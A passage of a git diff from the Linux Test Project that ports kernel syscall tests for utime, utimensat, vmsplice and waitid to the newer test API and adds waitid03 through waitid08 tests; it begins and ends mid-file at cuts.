NEW_MODF_TIME); + TST_EXP_EQ_LI(stat_buf.st_atime, NEW_ACCESS_TIME); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]) { + "vfat", + "exfat", + NULL + } +}; diff --git a/testcases/kernel/syscalls/utime/utime06.c b/testcases/kernel/syscalls/utime/utime06.c index 6d80677e..3ba62a31 100755 --- a/testcases/kernel/syscalls/utime/utime06.c +++ b/testcases/kernel/syscalls/utime/utime06.c @@ -1,174 +1,73 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2001 - * 07/2001 John George - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 John George + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Test Description: - * 1. Verify that the system call utime() fails to set the modification - * and access times of a file to the current time, under the following - * constraints, - * - The times argument is null. - * - The user ID of the process is not "root". - * 2. Verify that the system call utime() fails to set the modification - * and access times of a file if the specified file doesn't exist. - * 3. Verify that the system call utime() fails to set the modification - * and access times of a file to the current time, under the following - * constraints, - * - The times argument is not null. - * - The user ID of the process is not "root". - * 4. Verify that the system call utime() fails to set the modification - * and access times of a file that resides on a read-only file system. +/*\ + * [Description] + * + * Verify that system call utime() fails with + * + * - EACCES when times argument is NULL and user does not have rights to modify + * the file. + * - ENOENT when specified file does not exist. + * - EPERM when times argument is not NULL and user does not have rights to + * modify the file. + * - EROFS when the path resides on a read-only filesystem. */ -#include -#include #include -#include -#include -#include -#include -#include #include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" #define TEMP_FILE "tmp_file" #define MNT_POINT "mntpoint" +#define FILE_MODE 0644 +#define TEST_USERNAME "nobody" -char *TCID = "utime06"; -static struct passwd *ltpuser; static const struct utimbuf times; -static const char *dev; -static int mount_flag; -static void setup_nobody(void); -static void cleanup_nobody(void); -struct test_case_t { +static struct tcase { char *pathname; int exp_errno; - const struct utimbuf *times; - void (*setup_func)(void); - void (*cleanup_func)(void); -} Test_cases[] = { - {TEMP_FILE, EACCES, NULL, setup_nobody, cleanup_nobody}, - {"", ENOENT, NULL, NULL, NULL}, - {TEMP_FILE, EPERM, ×, setup_nobody, cleanup_nobody}, - {MNT_POINT, EROFS, NULL, NULL, NULL}, + const struct utimbuf *utimbuf; + char *err_desc; +} tcases[] = { + {TEMP_FILE, EACCES, NULL, "No write access"}, + {"", ENOENT, NULL, "File not exist"}, + {TEMP_FILE, EPERM, ×, "Not file owner"}, + {MNT_POINT, EROFS, NULL, "Read-only filesystem"} }; -int TST_TOTAL = ARRAY_SIZE(Test_cases); -static void setup(void); -static void utime_verify(const struct test_case_t *); -static void cleanup(void); - -int main(int ac, char **av) -{ - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - utime_verify(&Test_cases[i]); - } - - cleanup(); - tst_exit(); -} static void setup(void) { - const char *fs_type; - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - tst_require_root(); - - TEST_PAUSE; - - tst_tmpdir(); - - SAFE_TOUCH(cleanup, TEMP_FILE, 0644, NULL); - - fs_type = tst_dev_fs_type(); - dev = tst_acquire_device(cleanup); - if (!dev) - tst_brkm(TCONF, cleanup, "Failed to acquire test device"); - - tst_mkfs(cleanup, dev, fs_type, NULL, NULL); - - SAFE_MKDIR(cleanup, MNT_POINT, 0644); - SAFE_MOUNT(cleanup, dev, MNT_POINT, fs_type, MS_RDONLY, NULL); - mount_flag = 1; - - ltpuser = SAFE_GETPWNAM(cleanup, "nobody"); -} - -static void utime_verify(const struct test_case_t *test) -{ - if (test->setup_func != NULL) - test->setup_func(); - - TEST(utime(test->pathname, test->times)); + struct passwd *pw; - if (test->cleanup_func != NULL) - test->cleanup_func(); + SAFE_TOUCH(TEMP_FILE, FILE_MODE, NULL); - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "utime succeeded unexpectedly"); - return; - } - - if (TEST_ERRNO == test->exp_errno) { - tst_resm(TPASS | TTERRNO, "utime failed as expected"); - } else { - tst_resm(TFAIL | TTERRNO, - "utime failed unexpectedly; expected: %d - %s", - test->exp_errno, strerror(test->exp_errno)); - } + pw = SAFE_GETPWNAM(TEST_USERNAME); + tst_res(TINFO, "Switching effective user ID to user: %s", pw->pw_name); + SAFE_SETEUID(pw->pw_uid); } -static void setup_nobody(void) +static void run(unsigned int i) { - SAFE_SETEUID(cleanup, ltpuser->pw_uid); -} + struct tcase *tc = &tcases[i]; -static void cleanup_nobody(void) -{ - SAFE_SETEUID(cleanup, 0); + TST_EXP_FAIL(utime(tc->pathname, tc->utimbuf), + tc->exp_errno, "%s", tc->err_desc); } -static void cleanup(void) -{ - if (mount_flag && tst_umount(MNT_POINT) < 0) - tst_resm(TWARN | TERRNO, "umount device:%s failed", dev); - - if (dev) - tst_release_device(dev); - - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test = run, + .tcnt = ARRAY_SIZE(tcases), + .needs_root = 1, + .needs_tmpdir = 1, + .mntpoint = MNT_POINT, + .needs_rofs = 1 +}; diff --git a/testcases/kernel/syscalls/utimensat/utimensat01.c b/testcases/kernel/syscalls/utimensat/utimensat01.c index ac267e7d..efcb5c7a 100755 --- a/testcases/kernel/syscalls/utimensat/utimensat01.c +++ b/testcases/kernel/syscalls/utimensat/utimensat01.c @@ -21,7 +21,7 @@ #include "time64_variants.h" #include "tst_timer.h" -#define MNTPOINT "mntpoint" +#define MNTPOINT "mntpoint" #define TEST_FILE MNTPOINT"/test_file" #define TEST_DIR MNTPOINT"/test_dir" @@ -42,7 +42,7 @@ static struct mytime tno = {0, UTIME_NOW, 0, UTIME_OMIT, 1, 0}; static struct mytime ton = {0, UTIME_OMIT, 0, UTIME_NOW, 0, 1}; static struct mytime t11 = {1, 1, 1, 1, 1, 1}; -struct test_case { +static struct test_case { int dirfd; char *pathname; struct mytime *mytime; @@ -100,7 +100,7 @@ struct test_case { }; static inline int sys_utimensat(int dirfd, const char *pathname, - void *times, int flags) + void *times, int flags) { return tst_syscall(__NR_utimensat, dirfd, pathname, times, flags); } @@ -121,13 +121,13 @@ static struct time64_variants variants[] = { #endif }; -union tst_multi { +static union tst_multi { struct timespec libc_ts[2]; struct __kernel_old_timespec kern_old_ts[2]; struct __kernel_timespec kern_ts[2]; } ts; -static void tst_multi_set_time(enum tst_ts_type type, struct mytime *mytime) +static void multi_set_time(enum tst_ts_type type, struct mytime *mytime) { switch (type) { case TST_LIBC_TIMESPEC: @@ -233,7 +233,7 @@ static void run(unsigned int i) dfd = SAFE_OPEN(TEST_DIR, tc->oflags); if (tc->pathname) { - fd = SAFE_OPEN(tc->pathname, O_WRONLY | O_CREAT); + fd = SAFE_OPEN(tc->pathname, O_WRONLY | O_CREAT, 0200); pathname = tc->pathname; SAFE_CHMOD(tc->pathname, tc->mode); reset_time(pathname, dfd, tc->flags, i); @@ -243,7 +243,7 @@ static void run(unsigned int i) } if (mytime) { - tst_multi_set_time(tv->ts_type, mytime); + multi_set_time(tv->ts_type, mytime); tsp = &ts; } else if (tc->exp_err == EFAULT) { tsp = bad_addr; diff --git a/testcases/kernel/syscalls/vmsplice/vmsplice01.c b/testcases/kernel/syscalls/vmsplice/vmsplice01.c index 36ecc08e..17486179 100755 --- a/testcases/kernel/syscalls/vmsplice/vmsplice01.c +++ b/testcases/kernel/syscalls/vmsplice/vmsplice01.c @@ -121,5 +121,4 @@ static struct tst_test test = { "nfs", NULL }, - .min_kver = "2.6.17", }; diff --git a/testcases/kernel/syscalls/vmsplice/vmsplice02.c b/testcases/kernel/syscalls/vmsplice/vmsplice02.c index 0135b6f7..8f1965c2 100755 --- a/testcases/kernel/syscalls/vmsplice/vmsplice02.c +++ b/testcases/kernel/syscalls/vmsplice/vmsplice02.c @@ -103,5 +103,4 @@ static struct tst_test test = { "nfs", NULL }, - .min_kver = "2.6.17", }; diff --git a/testcases/kernel/syscalls/vmsplice/vmsplice03.c b/testcases/kernel/syscalls/vmsplice/vmsplice03.c index ae4ceaa9..d3a39254 100755 --- a/testcases/kernel/syscalls/vmsplice/vmsplice03.c +++ b/testcases/kernel/syscalls/vmsplice/vmsplice03.c @@ -27,7 +27,7 @@ static void vmsplice_test(void) memset(iov->iov_base, 0, iov->iov_len); SAFE_PIPE(pipes); - SAFE_WRITE(1, pipes[1], buffer, TEST_BLOCK_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, pipes[1], buffer, TEST_BLOCK_SIZE); written = vmsplice(pipes[0], iov, 1, 0); if (written < 0) @@ -62,7 +62,6 @@ static void setup(void) static struct tst_test test = { .setup = setup, .test_all = vmsplice_test, - .min_kver = "2.6.23", .bufs = (struct tst_buffers []) { {&iov, .iov_sizes = (int[]){TEST_BLOCK_SIZE, -1}}, {} diff --git a/testcases/kernel/syscalls/vmsplice/vmsplice04.c b/testcases/kernel/syscalls/vmsplice/vmsplice04.c index 9aaa0b56..96c24bc6 100755 --- a/testcases/kernel/syscalls/vmsplice/vmsplice04.c +++ b/testcases/kernel/syscalls/vmsplice/vmsplice04.c @@ -88,6 +88,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = vmsplice_test, - .min_kver = "2.6.17", .forks_child = 1, }; diff --git a/testcases/kernel/syscalls/waitid/.gitignore b/testcases/kernel/syscalls/waitid/.gitignore index e200a061..089d860c 100755 --- a/testcases/kernel/syscalls/waitid/.gitignore +++ b/testcases/kernel/syscalls/waitid/.gitignore @@ -1,2 +1,11 @@ /waitid01 /waitid02 +/waitid03 +/waitid04 +/waitid05 +/waitid06 +/waitid07 +/waitid08 +/waitid09 +/waitid10 +/waitid11 diff --git a/testcases/kernel/syscalls/waitid/waitid01.c b/testcases/kernel/syscalls/waitid/waitid01.c index b6579d91..136eec8a 100755 --- a/testcases/kernel/syscalls/waitid/waitid01.c +++ b/testcases/kernel/syscalls/waitid/waitid01.c @@ -1,126 +1,42 @@ -/******************************************************************************/ -/* Copyright (c) Crackerjack Project., 2007 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software Foundation, */ -/* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/******************************************************************************/ -/* */ -/* Description: This tests the waitid() syscall */ -/* */ -/* Test Name: waitid01 */ -/* History: Porting from Crackerjack to LTP is done by */ -/* Manas Kumar Nayak maknayak@in.ibm.com> */ -/******************************************************************************/ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test is checking if waitid() syscall does wait for WEXITED and check for + * the return value. + */ -#include -#include #include #include -#include -#include -#include +#include "tst_test.h" -#include "test.h" +static siginfo_t *infop; -char *TCID = "waitid01"; -int testno; -int TST_TOTAL = 3; - -void setup(void) -{ - TEST_PAUSE; -} - -void display_status(siginfo_t * infop) +static void run(void) { - tst_resm(TINFO, "Process %d terminated:", infop->si_pid); - tst_resm(TINFO, "code = %d", infop->si_code); - if (infop->si_code == CLD_EXITED) - tst_resm(TINFO, "exit value = %d", infop->si_status); - else - tst_resm(TINFO, "signal = %d", infop->si_status); -} - -int main(int ac, char **av) -{ - id_t pid; - siginfo_t infop; - int lc; - - tst_parse_opts(ac, av, NULL, NULL); + pid_t pidchild; - setup(); + pidchild = SAFE_FORK(); + if (!pidchild) + exit(123); - for (lc = 0; TEST_LOOPING(lc); ++lc) { - tst_count = 0; - for (testno = 0; testno < TST_TOTAL; ++testno) { - - TEST(fork()); - if (TEST_RETURN < 0) - tst_brkm(TBROK | TTERRNO, NULL, - "fork() failed"); - - if (TEST_RETURN == 0) { - exit(123); - } else { - TEST(waitid(P_ALL, getpid(), &infop, WEXITED)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, - NULL, - "waitid(getpid()) failed"); - } else - display_status(&infop); //CLD_EXITED = 1 - } - - TEST(fork()); - if (TEST_RETURN < 0) - tst_brkm(TBROK | TTERRNO, NULL, - "fork() failed"); - - if (TEST_RETURN == 0) { - int a, b = 0; - a = 1 / b; - tst_exit(); - } else { - TEST(waitid(P_ALL, 0, &infop, WEXITED)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, - NULL, "waitid(0) failed"); - } else - display_status(&infop); //CLD_DUMPED = 3 ; SIGFPE = 8 - } - - TEST(pid = fork()); - if (TEST_RETURN < 0) - tst_brkm(TBROK | TTERRNO, NULL, - "fork() failed"); - - if (TEST_RETURN == 0) { - TEST(sleep(10)); - tst_exit(); - } - TEST(kill(pid, SIGHUP)); - TEST(waitid(P_ALL, 0, &infop, WEXITED)); - if (TEST_RETURN == -1) { - tst_brkm(TFAIL | TTERRNO, NULL, - "waitid(0) failed"); - } else - display_status(&infop); //CLD_KILLED = 2 ; SIGHUP = 1 - } - } - tst_resm(TPASS, "waitid(): system call passed"); - tst_exit(); + TST_EXP_PASS(waitid(P_ALL, 0, infop, WEXITED)); + TST_EXP_EQ_LI(infop->si_pid, pidchild); + TST_EXP_EQ_LI(infop->si_status, 123); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + TST_EXP_EQ_LI(infop->si_code, CLD_EXITED); } + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/waitid/waitid02.c b/testcases/kernel/syscalls/waitid/waitid02.c index dced6fad..f13a4ed0 100755 --- a/testcases/kernel/syscalls/waitid/waitid02.c +++ b/testcases/kernel/syscalls/waitid/waitid02.c @@ -1,300 +1,30 @@ -/******************************************************************************/ -/* Copyright (c) Crackerjack Project., 2007 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License along */ -/* with this program; if not, write to the Free Software Foundation, Inc., */ -/* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/******************************************************************************/ -/* */ -/* File: waitid02.c */ -/* */ -/* Description: This tests the waitid() syscall */ -/* */ -/* Usage: */ -/* waitid02 [-c n] [-e][-i n] [-I x] [-p x] [-t] */ -/* where, -c n : Run n copies concurrently. */ -/* -e : Turn on errno logging. */ -/* -i n : Execute test n times. */ -/* -I x : Execute test for x seconds. */ -/* -P x : Pause for x seconds between iterations. */ -/* -t : Turn on syscall timing. */ -/* */ -/* Total Tests: 1 */ -/* */ -/* Test Name: waitid02 */ -/* History: Porting from Crackerjack to LTP is done by */ -/* Manas Kumar Nayak maknayak@in.ibm.com> */ -/******************************************************************************/ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Tests if waitid() returns EINVAL when passed invalid options flag value. + */ -#define _XOPEN_SOURCE 500 -#include -#include -#include #include -#include -#include -#include +#include "tst_test.h" -#include "test.h" -#include "safe_macros.h" -#include "lapi/syscalls.h" +static siginfo_t *infop; -struct testcase_t { - const char *msg; - idtype_t idtype; - id_t id; - pid_t child; - int options; - int exp_ret; - int exp_errno; - void (*setup) (struct testcase_t *); - void (*cleanup) (struct testcase_t *); -}; - -static void setup(void); -static void cleanup(void); - -static void setup2(struct testcase_t *); -static void setup3(struct testcase_t *); -static void setup4(struct testcase_t *); -static void setup5(struct testcase_t *); -static void setup6(struct testcase_t *); -static void cleanup2(struct testcase_t *); -static void cleanup5(struct testcase_t *); -static void cleanup6(struct testcase_t *); - -struct testcase_t tdat[] = { - { - .msg = "WNOHANG", - .idtype = P_ALL, - .id = 0, - .options = WNOHANG, - .exp_ret = -1, - .exp_errno = EINVAL, - }, - { - .msg = "WNOHANG | WEXITED no child", - .idtype = P_ALL, - .id = 0, - .options = WNOHANG | WEXITED, - .exp_ret = -1, - .exp_errno = ECHILD, - }, - { - .msg = "WNOHANG | WEXITED with child", - .idtype = P_ALL, - .id = 0, - .options = WNOHANG | WEXITED, - .exp_ret = 0, - .setup = setup2, - .cleanup = cleanup2 - }, - { - .msg = "P_PGID, WEXITED wait for child", - .idtype = P_PGID, - .options = WEXITED, - .exp_ret = 0, - .setup = setup3, - }, - { - .msg = "P_PID, WEXITED wait for child", - .idtype = P_PID, - .options = WEXITED, - .exp_ret = 0, - .setup = setup4, - }, - { - .msg = "P_PID, WSTOPPED | WNOWAIT", - .idtype = P_PID, - .options = WSTOPPED | WNOWAIT, - .exp_ret = 0, - .setup = setup5, - .cleanup = cleanup5 - }, - { - .msg = "P_PID, WCONTINUED", - .idtype = P_PID, - .options = WCONTINUED, - .exp_ret = 0, - .setup = setup6, - .cleanup = cleanup6 - }, - { - .msg = "P_PID, WEXITED not a child of the calling process", - .idtype = P_PID, - .id = 1, - .options = WEXITED, - .exp_ret = -1, - .exp_errno = ECHILD, - .setup = setup2, - .cleanup = cleanup2 - }, - -}; - -char *TCID = "waitid02"; -static int TST_TOTAL = ARRAY_SIZE(tdat); - -static void makechild(struct testcase_t *t, void (*childfn)(void)) -{ - t->child = fork(); - switch (t->child) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork"); - break; - case 0: - childfn(); - exit(0); - } -} - -static void wait4child(pid_t pid) -{ - int status; - SAFE_WAITPID(cleanup, pid, &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child returns %d", status); -} - -static void dummy_child(void) -{ -} - -static void waiting_child(void) -{ - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); -} - -static void stopped_child(void) -{ - kill(getpid(), SIGSTOP); - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); -} - -static void setup2(struct testcase_t *t) -{ - makechild(t, waiting_child); -} - -static void cleanup2(struct testcase_t *t) -{ - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - wait4child(t->child); -} - -static void setup3(struct testcase_t *t) -{ - t->id = getpgid(0); - makechild(t, dummy_child); -} - -static void setup4(struct testcase_t *t) -{ - makechild(t, dummy_child); - t->id = t->child; -} - -static void setup5(struct testcase_t *t) -{ - makechild(t, stopped_child); - t->id = t->child; -} - -static void cleanup5(struct testcase_t *t) -{ - kill(t->child, SIGCONT); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - wait4child(t->child); -} - -static void setup6(struct testcase_t *t) -{ - siginfo_t infop; - makechild(t, stopped_child); - t->id = t->child; - if (waitid(P_PID, t->child, &infop, WSTOPPED) != 0) - tst_brkm(TBROK | TERRNO, cleanup, "waitpid setup6"); - kill(t->child, SIGCONT); -} - -static void cleanup6(struct testcase_t *t) -{ - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - wait4child(t->child); -} - -static void setup(void) +static void run(void) { - TEST_PAUSE; - tst_tmpdir(); - TST_CHECKPOINT_INIT(tst_rmdir); + TST_EXP_FAIL(waitid(P_ALL, 0, infop, WNOHANG), EINVAL); } -static void cleanup(void) -{ - tst_rmdir(); - tst_exit(); -} - -static void test_waitid(struct testcase_t *t) -{ - siginfo_t infop; - - if (t->setup) - t->setup(t); - - tst_resm(TINFO, "%s", t->msg); - tst_resm(TINFO, "(%d) waitid(%d, %d, %p, %d)", getpid(), t->idtype, - t->id, &infop, t->options); - memset(&infop, 0, sizeof(infop)); - - TEST(waitid(t->idtype, t->id, &infop, t->options)); - if (TEST_RETURN == t->exp_ret) { - if (TEST_RETURN == -1) { - if (TEST_ERRNO == t->exp_errno) - tst_resm(TPASS, "exp_errno=%d", t->exp_errno); - else - tst_resm(TFAIL|TTERRNO, "exp_errno=%d", - t->exp_errno); - } else { - tst_resm(TPASS, "ret: %d", t->exp_ret); - } - } else { - tst_resm(TFAIL|TTERRNO, "ret=%ld expected=%d", - TEST_RETURN, t->exp_ret); - } - tst_resm(TINFO, "si_pid = %d ; si_code = %d ; si_status = %d", - infop.si_pid, infop.si_code, - infop.si_status); - - if (t->cleanup) - t->cleanup(t); -} - -int main(int ac, char **av) -{ - int lc, testno; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - for (lc = 0; TEST_LOOPING(lc); ++lc) { - tst_count = 0; - for (testno = 0; testno < TST_TOTAL; testno++) - test_waitid(&tdat[testno]); +static struct tst_test test = { + .test_all = run, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} } - cleanup(); - tst_exit(); -} +}; diff --git a/testcases/kernel/syscalls/waitid/waitid03.c b/testcases/kernel/syscalls/waitid/waitid03.c new file mode 100644 index 00000000..ef3fd737 --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid03.c @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Tests if waitid() syscall returns ECHILD when the calling process has no + * child processes. + */ + +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + TST_EXP_FAIL(waitid(P_ALL, 0, infop, WNOHANG | WEXITED), ECHILD); +} + +static struct tst_test test = { + .test_all = run, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/waitid/waitid04.c b/testcases/kernel/syscalls/waitid/waitid04.c new file mode 100644 index 00000000..96c1cf8b --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid04.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test if waitid() syscall leaves the si_pid set to 0 with WNOHANG flag + * when no child was waited for. + */ + +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + pid_t pid_child; + + pid_child = SAFE_FORK(); + if (!pid_child) { + TST_CHECKPOINT_WAIT(0); + return; + } + + memset(infop, 0, sizeof(*infop)); + TST_EXP_PASS(waitid(P_ALL, pid_child, infop, WNOHANG | WEXITED)); + + TST_EXP_EQ_LI(infop->si_pid, 0); + + TST_CHECKPOINT_WAKE(0); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .needs_checkpoints = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/waitid/waitid05.c b/testcases/kernel/syscalls/waitid/waitid05.c new file mode 100644 index 00000000..1b9186dc --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid05.c @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Tests if waitid() filters children correctly by the group ID. + * + * - waitid() with GID + 1 returns ECHILD + * - waitid() with GID returns correct data + */ + +#include +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + pid_t pid_group; + pid_t pid_child; + + pid_child = SAFE_FORK(); + if (!pid_child) + exit(0); + + pid_group = getpgid(0); + + TST_EXP_FAIL(waitid(P_PGID, pid_group+1, infop, WEXITED), ECHILD); + + memset(infop, 0, sizeof(*infop)); + TST_EXP_PASS(waitid(P_PGID, pid_group, infop, WEXITED)); + + TST_EXP_EQ_LI(infop->si_pid, pid_child); + TST_EXP_EQ_LI(infop->si_status, 0); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + TST_EXP_EQ_LI(infop->si_code, CLD_EXITED); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/waitid/waitid06.c b/testcases/kernel/syscalls/waitid/waitid06.c new file mode 100644 index 00000000..5f51c81c --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid06.c @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Tests if waitid() filters children correctly by the PID. + * + * - waitid() with PID + 1 returns ECHILD + * - waitid() with PID returns correct data + */ + +#include +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + pid_t pid_child; + + pid_child = SAFE_FORK(); + if (!pid_child) + exit(0); + + TST_EXP_FAIL(waitid(P_PID, pid_child+1, infop, WEXITED), ECHILD); + + memset(infop, 0, sizeof(*infop)); + TST_EXP_PASS(waitid(P_PID, pid_child, infop, WEXITED)); + + TST_EXP_EQ_LI(infop->si_pid, pid_child); + TST_EXP_EQ_LI(infop->si_status, 0); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + TST_EXP_EQ_LI(infop->si_code, CLD_EXITED); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/waitid/waitid07.c b/testcases/kernel/syscalls/waitid/waitid07.c new file mode 100644 index 00000000..d607dbd8 --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid07.c @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if waitid() filters children killed with SIGSTOP. + */ + +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + pid_t pid_child; + + pid_child = SAFE_FORK(); + if (!pid_child) { + SAFE_KILL(getpid(), SIGSTOP); + TST_CHECKPOINT_WAIT(0); + return; + } + + memset(infop, 0, sizeof(*infop)); + TST_EXP_PASS(waitid(P_PID, pid_child, infop, WSTOPPED | WNOWAIT)); + + TST_EXP_EQ_LI(infop->si_pid, pid_child); + TST_EXP_EQ_LI(infop->si_status, SIGSTOP); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + TST_EXP_EQ_LI(infop->si_code, CLD_STOPPED); + + SAFE_KILL(pid_child, SIGCONT); + + TST_CHECKPOINT_WAKE(0); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .needs_checkpoints = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/waitid/waitid08.c b/testcases/kernel/syscalls/waitid/waitid08.c new file mode 100644 index 00000000..2da680e6 --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid08.c @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if waitid() filters children killed with SIGCONT. + */ + +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + pid_t pid_child; + + pid_child = SAFE_FORK(); + if (!pid_child) { + SAFE_KILL(getpid(), SIGSTOP); + TST_CHECKPOINT_WAIT(0); + return; + } + + tst_res(TINFO, "send SIGCONT to child"); + + memset(infop, 0, sizeof(*infop)); + TST_EXP_PASS(waitid(P_PID, pid_child, infop, WSTOPPED)); + + TST_EXP_EQ_LI(infop->si_pid, pid_child); + TST_EXP_EQ_LI(infop->si_status, SIGSTOP); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + TST_EXP_EQ_LI(infop->si_code, CLD_STOPPED); + + SAFE_KILL(pid_child, SIGCONT); + + tst_res(TINFO, "filter child by WCONTINUED"); + + memset(infop, 0, sizeof(*infop)); + TST_EXP_PASS(waitid(P_PID, 